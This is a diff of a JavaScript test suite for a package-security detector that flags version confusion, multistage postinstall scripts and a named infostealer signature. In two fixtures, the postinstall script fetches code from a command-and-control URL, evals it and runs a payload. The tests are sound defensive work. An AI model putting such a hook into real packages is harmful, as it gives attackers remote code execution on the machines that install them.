assert(match.confidenceScore >= 80, `confidenceScore ${match.confidenceScore} < 80`);
|
|
@@ -18,23 +18,26 @@ describe('D6a — tier1-version-confusion', () => {
|
|
|
18
18
|
for (const version of ['9.9.9', '10.10.10', '11.11.11']) {
|
|
19
19
|
const pkg = { name: 'corp-auth', version };
|
|
20
20
|
const findings = await detectors.runAll(pkg);
|
|
21
|
-
const match = findings.find(f => f.id === 'TIER1-VERSION-CONFUSION');
|
|
21
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
|
|
22
22
|
assert(match, `Expected finding for version ${version}`);
|
|
23
|
-
assert(
|
|
23
|
+
assert(
|
|
24
|
+
match.confidenceScore >= 60,
|
|
25
|
+
`confidenceScore ${match.confidenceScore} < 60 for version ${version}`
|
|
26
|
+
);
|
|
24
27
|
}
|
|
25
28
|
});
|
|
26
29
|
|
|
27
30
|
test('D6a: no finding on legitimate semver', async () => {
|
|
28
31
|
const pkg = { name: 'lodash', version: '4.17.21' };
|
|
29
32
|
const findings = await detectors.runAll(pkg);
|
|
30
|
-
const match = findings.find(f => f.id === 'TIER1-VERSION-CONFUSION');
|
|
33
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
|
|
31
34
|
assert(!match);
|
|
32
35
|
});
|
|
33
36
|
|
|
34
37
|
test('D6a: no finding on KNOWN_REPUTABLE_PACKAGES regardless of version', async () => {
|
|
35
38
|
const pkg = { name: 'react', version: '99.99.99' };
|
|
36
39
|
const findings = await detectors.runAll(pkg);
|
|
37
|
-
const match = findings.find(f => f.id === 'TIER1-VERSION-CONFUSION');
|
|
40
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
|
|
38
41
|
assert(!match);
|
|
39
42
|
});
|
|
40
43
|
});
|
|
@@ -47,11 +50,12 @@ describe('D6b — tier1-multistage-postinstall', () => {
|
|
|
47
50
|
name: 'malicious-pkg',
|
|
48
51
|
version: '1.0.0',
|
|
49
52
|
scripts: {
|
|
50
|
-
postinstall:
|
|
53
|
+
postinstall:
|
|
54
|
+
'node -e "fetch(process.env.C2_URL).then(r=>r.text()).then(eval)" && execFile("./payload")',
|
|
51
55
|
},
|
|
52
56
|
};
|
|
53
57
|
const findings = await detectors.runAll(pkg);
|
|
54
|
-
const match = findings.find(f => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
58
|
+
const match = findings.find((f) => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
55
59
|
assert(match, 'Expected TIER1-MULTISTAGE-POSTINSTALL finding');
|
|
56
60
|
assert.equal(match.confidence, 'HIGH');
|
|
57
61
|
assert(match.confidenceScore >= 80, `confidenceScore ${match.confidenceScore} < 80`);
|
|
@@ -66,7 +70,7 @@ describe('D6b — tier1-multistage-postinstall', () => {
|
|
|
66
70
|
},
|
|
67
71
|
};
|
|
68
72
|
const findings = await detectors.runAll(pkg);
|
|
69
|
-
const match = findings.find(f => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
73
|
+
const match = findings.find((f) => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
70
74
|
assert(match, 'Expected TIER1-MULTISTAGE-POSTINSTALL finding');
|
|
71
75
|
assert(match.confidenceScore >= 75, `confidenceScore ${match.confidenceScore} < 75`);
|
|
72
76
|
});
|
|
@@ -80,7 +84,7 @@ describe('D6b — tier1-multistage-postinstall', () => {
|
|
|
80
84
|
},
|
|
81
85
|
};
|
|
82
86
|
const findings = await detectors.runAll(pkg);
|
|
83
|
-
const match = findings.find(f => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
87
|
+
const match = findings.find((f) => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
84
88
|
assert(!match);
|
|
85
89
|
});
|
|
86
90
|
|
|
@@ -89,11 +93,12 @@ describe('D6b — tier1-multistage-postinstall', () => {
|
|
|
89
93
|
name: 'dual-pkg',
|
|
90
94
|
version: '1.0.0',
|
|
91
95
|
scripts: {
|
|
92
|
-
postinstall:
|
|
96
|
+
postinstall:
|
|
97
|
+
'node -e "fetch(process.env.C2_URL).then(r=>r.text()).then(eval)" && execFile("./payload")',
|
|
93
98
|
},
|
|
94
99
|
};
|
|
95
100
|
const findings = await detectors.runAll(pkg);
|
|
96
|
-
const d6bMatches = findings.filter(f => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
101
|
+
const d6bMatches = findings.filter((f) => f.id === 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
97
102
|
assert(d6bMatches.length > 0, 'Expected at least one TIER1-MULTISTAGE-POSTINSTALL finding');
|
|
98
103
|
assert.equal(d6bMatches[0].id, 'TIER1-MULTISTAGE-POSTINSTALL');
|
|
99
104
|
assert(d6bMatches[0].id !== 'ATK-003');
|
|
@@ -105,12 +110,17 @@ describe('D6b — tier1-multistage-postinstall', () => {
|
|
|
105
110
|
describe('D2 — named signature', () => {
|
|
106
111
|
test('D2 Miasma signature: detects "Miasma: The Spreading Blight" → CRITICAL', async () => {
|
|
107
112
|
const pkg = { name: 'test-pkg', version: '1.0.0' };
|
|
108
|
-
const jsFiles = [
|
|
113
|
+
const jsFiles = [
|
|
114
|
+
{ path: 'evil.js', content: 'const id = "Miasma: The Spreading Blight"; doEvil();' },
|
|
115
|
+
];
|
|
109
116
|
const findings = await detectors.runAll(pkg, jsFiles, {}, []);
|
|
110
|
-
const match = findings.find(f => f.id === 'TIER1-INFOSTEALER');
|
|
117
|
+
const match = findings.find((f) => f.id === 'TIER1-INFOSTEALER');
|
|
111
118
|
assert(match, 'Expected TIER1-INFOSTEALER finding from Miasma signature');
|
|
112
119
|
assert.equal(match.confidence, 'CRITICAL');
|
|
113
120
|
assert.equal(match.confidenceScore, 98);
|
|
114
|
-
assert(
|
|
121
|
+
assert(
|
|
122
|
+
match.evidence.some((e) => e.includes('Miasma: The Spreading Blight')),
|
|
123
|
+
'evidence should contain the signature string'
|
|
124
|
+
);
|
|
115
125
|
});
|
|
116
126
|
});
|